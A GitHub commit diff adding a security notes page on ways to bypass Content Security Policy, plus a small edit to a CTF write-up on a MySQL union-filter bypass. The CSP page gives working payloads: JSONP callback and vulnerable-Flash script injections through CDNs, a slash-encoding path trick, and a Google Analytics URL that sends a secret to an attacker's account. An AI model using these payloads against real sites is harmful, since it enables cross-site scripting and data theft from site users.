Skip to content

Commit ba1266c

Browse files
committed
add 'Ways-to-bypass-CSP'
1 parent df5989c commit ba1266c

File tree

2 files changed

+62
-3
lines changed

2 files changed

+62
-3
lines changed

MySQL-madness-with-exponent.md

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,9 @@ When an exponent literal appears in the query string, a weird syntax seems to be
66

77
> This trivia was discovered in Hack.lu CTF 2015 web challenge `Grading Board`, and its source code and official writeup can be found at [jhector/grading-board](https://github.com/jhector/grading-board).
88
9-
> This challenge is still accessible at https://school.fluxfingers.net:1506/.
10-
119
This challenge should have prevented `union` keyword in subquery that users can control according to the author.
1210

13-
The preventing mechanism is at https://github.com/jhector/grading-board/blob/master/include/Database.php#L23, and the most important part of the code is:
11+
The preventing mechanism is at [jhector/grading-board#include/Database.php](https://github.com/jhector/grading-board/blob/master/include/Database.php#L23), and the most important part of the code is:
1412

1513
```php
1614
if (preg_match('/[^a-zA-Z0-9_]union[^a-zA-Z0-9_]/i', $condition))

Ways-to-bypass-CSP.md

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Ways to bypass CSP
2+
3+
## Introduction
4+
5+
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.
6+
7+
How do we circumvent CSP protections?
8+
9+
## Impact
10+
11+
Based on different scenarios, we can use different tricks to bypass it.
12+
13+
### Insecure CDN
14+
15+
If you discover that CSP is allowing you to load js files from insecure CDN, you can include older version of vulnerable libraries to achieve your goals.
16+
17+
Some insecure CDN:
18+
19+
- [Google CDN](https://ajax.googleapis.com/ajax/)
20+
- `<script src="https://ajax.googleapis.com/ajax/services/feed/find?v=1.0&callback=alert&context=1337"></script>`
21+
- [Libraries](https://ajax.googleapis.com/ajax/libs)
22+
- Vulnerable Flash: `<embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//' allowscriptaccess=always>`
23+
- [CloudFlare CDN](https://cdnjs.cloudflare.com/ajax/)
24+
- [jsDelivr](https://cdn.jsdelivr.net/)
25+
26+
### Path Restriction
27+
28+
When you see something like this:
29+
30+
```
31+
Content-Security-Policy: default-src 'none'; style-src 'self'; img-src 'self'; script-src https://cdnjs.cloudflare.com/ajax/libs/jquery/
32+
```
33+
34+
You think: Oh, would I only be allowed to include the js files of trusted CDN under the path `/ajax/libs/jquery/`?
35+
36+
The answer is "No", and you can bypass it via "URL Encoding of a slash". [Demo](https://t.co/Dl9hkKtlQc?amp=1)
37+
38+
![](https://pbs.twimg.com/media/ECK1OQNXoAA7qk-?format=jpg&name=large)
39+
40+
### Google Analytics
41+
42+
When you see something like this:
43+
44+
```
45+
Content-Security-Policy: img-src 'self' data: www.google-analytics.com
46+
```
47+
48+
Not a problem. Quoted from the original report from hackerone:
49+
50+
> The Google Analytics’ ea parameter is used to log event actions and can contain arbitrary strings. An attacker could setup a Google Analytics account and then inject an image referencing their account.
51+
52+
The exploit would be like: `https://www.google-analytics.com/collect?v=1&tid=UA-77300477-1&cid=2111515817&t=event&ec=email&el=2111515817&cs=newsletter&cm=email&cn=062413&cm1=1&ea={SECRET}`
53+
54+
## Reference
55+
56+
- [H5SC Minichallenge 3: "Sh*t, it's CSP!"](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22)
57+
- [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/Intruders/jsonp_endpoint.txt)
58+
- [Relative Path Overwrite demo](https://www.bmoine.fr/assets/projects/files/rpo/index.html)
59+
- [@SecurityMB](https://twitter.com/SecurityMB/status/1162690916722839552)
60+
- [@0daylabs](https://twitter.com/0daylabs/status/774293505183055872)
61+
- [Google Analytics could be used as CSP bypass for data exfiltration on hackerone.com](https://hackerone.com/reports/199779)

0 commit comments

Comments
 (0)